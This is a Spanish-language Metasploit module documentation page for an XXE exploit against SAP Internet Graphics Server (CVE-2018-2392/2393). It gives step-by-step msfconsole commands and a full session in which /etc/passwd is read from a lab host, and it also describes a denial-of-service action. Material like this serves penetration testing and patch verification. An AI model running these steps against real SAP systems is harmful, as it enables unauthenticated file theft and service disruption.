Ataque XXE SAP IGS CVE-2018-2392 y CVE-2018-2393

Este módulo en Metasploit Framework

Aplicación vulnerable

Este módulo explota CVE-2018-2392 y CVE-2018-2393, dos vulnerabilidades XXE dentro de la página XMLCHART de SAP Internet Graphics Servers (IGS) que ejecutan versiones 7.20, 7.20EXT, 7.45, 7.49 o 7.53. Estas vulnerabilidades ocurren debido a la falta de una validación adecuada en la etiqueta Extension HTML al enviar una solicitud POST a la página XMLCHART para generar un nuevo gráfico.

La explotación exitosa permitirá a atacantes remotos no autenticados leer archivos del servidor como el usuario desde el cual se inicia el servicio IGS, que normalmente será el usuario administrador de SAP. Alternativamente, los atacantes también pueden abusar de la vulnerabilidad XXE para realizar un ataque de denegación de servicio contra el servidor SAP IGS vulnerable.

Antecedentes de la aplicación

El Internet Graphics Service (IGS) proporciona una infraestructura para permitir a los desarrolladores mostrar gráficos en un navegador de Internet con el mínimo esfuerzo. Se ha integrado en varias tecnologías de UI de SAP, donde proporciona una forma de utilizar datos de otro sistema SAP o fuente de datos para generar salida gráfica o no gráfica dinámica.

Pasos de instalación

Los pasos para instalar y actualizar el servidor SAP IGS se pueden encontrar en línea en esta página. Información adicional sobre la configuración del servidor IGS se puede encontrar aquí. Finalmente, la información sobre la administración del servidor IGS se puede encontrar aquí.

Una vez configuradas e instaladas, las instancias serán vulnerables en el puerto HTTP predeterminado 40080.

Pasos de verificación

Iniciar msfconsole
Hacer: workspace [WORKSPACE]
Hacer: use auxiliary/admin/sap/sap_igs_xmlchart_xxe
Hacer: set RHOSTS [IP]
Hacer: set FILE [remote file name]
Hacer: set action READ
Hacer: check
Verificar que el método check identifica correctamente si el objetivo es vulnerable o no.
Hacer: run
Verificar que se devolvió el contenido del archivo especificado.

Opciones

FILE

Archivo para leer del servidor remoto. Ejemplo: /etc/passwd

URIPATH

Esta es la ruta a la página XMLCHART del servidor SAP IGS que es vulnerable a XXE. Por defecto está establecida en /XMLCHART, sin embargo se puede cambiar si el servidor SAP IGS fue instalado en una ruta diferente a la raíz web. Por ejemplo, si el servidor SAP IGS fue instalado en la ruta /igs/ bajo la raíz web, entonces este valor se establecería en /igs/XMLCHART.

Acciones

   Name  Description
   ----  -----------
   READ  Lectura de archivo remoto
   DOS   Denegación de servicio

Escenarios

Versión vulnerable de SAP IGS: 7.45 ejecutándose en SUSE Linux Enterprise Server for SAP Applications 12 SP1

msf6 > workspace -a SAP_TEST
[*] Added workspace: SAP_TEST
[*] Workspace: SAP_TEST
msf6 > use auxiliary/admin/sap/sap_igs_xmlchart_xxe
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set RHOSTS 172.16.30.29
RHOSTS => 172.16.30.29
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set FILE /etc/passwd
FILE => /etc/passwd
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set action READ
action => READ
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set Proxies http:127.0.0.1:8080
Proxies => http:127.0.0.1:8080
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > options

Module options (auxiliary/admin/sap/sap_igs_xmlchart_xxe):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FILE     /etc/passwd          no        File to read from the remote server
   Proxies  http:127.0.0.1:8080  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   172.16.30.29         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    40080                yes       The target port (TCP)
   SSL      false                no        Negotiate SSL/TLS for outgoing connections
   URIPATH  /XMLCHART            yes       Path to the SAP IGS XMLCHART page from the web root
   VHOST                         no        HTTP server virtual host


Auxiliary action:

   Name  Description
   ----  -----------
   READ  Remote file read


msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > check
[+] 172.16.30.29:40080 - The target is vulnerable. 172.16.30.29 running OS: SUSE Linux Enterprise Server for SAP Applications 12 SP1 returned a response indicating that its XMLCHART page is vulnerable to XXE!
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > run
[*] Running module against 172.16.30.29

[+] File: /etc/passwd content from host: 172.16.30.29
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:107:112:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
haldaemon:x:101:102:User for haldaemon:/var/run/hald:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
messagebus:x:100:101:User for D-Bus:/var/run/dbus:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
ntp:x:74:108:NTP daemon:/var/lib/ntp:/bin/false
polkituser:x:104:107:PolicyKit:/var/run/PolicyKit:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
pulse:x:105:109:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
puppet:x:103:106:Puppet daemon:/var/lib/puppet:/bin/false
root:x:0:0:root:/root:/bin/bash
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
suse-ncc:x:106:111:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
admin:x:1000:100:admin:/home/admin:/bin/bash
j45adm:x:1001:1001:SAP System Administrator:/home/j45adm:/bin/csh
sybj45:x:1002:1001:SAP Database Administrator:/sybase/J45:/bin/csh
sapadm:x:1003:1001:SAP System Administrator:/home/sapadm:/bin/false
[+] File: /etc/passwd saved in: /Users/vladimir/.msf4/loot/20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > services
Services
========

host          port   proto  name  state  info
----          ----   -----  ----  -----  ----
172.16.30.29  40080  tcp    http  open   SAP Internet Graphics Server (IGS)

msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > vulns

Vulnerabilities
===============

Timestamp                Host          Name                                             References
---------                ----          ----                                             ----------
2020-10-07 10:12:37 UTC  172.16.30.29  SAP Internet Graphics Server (IGS) XMLCHART XXE  CVE-2018-2392,CVE-2018-2393,URL-https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf

msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > loot

Loot
====

host          service  type              name         content     info                  path
----          -------  ----              ----         -------     ----                  ----
172.16.30.29           igs.xmlchart.xxe  /etc/passwd  text/plain  SAP IGS XMLCHART XXE  /Users/vladimir/.msf4/loot/01619fd331da98b5ac4d-20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt

sap_igs_xxe

Más Populares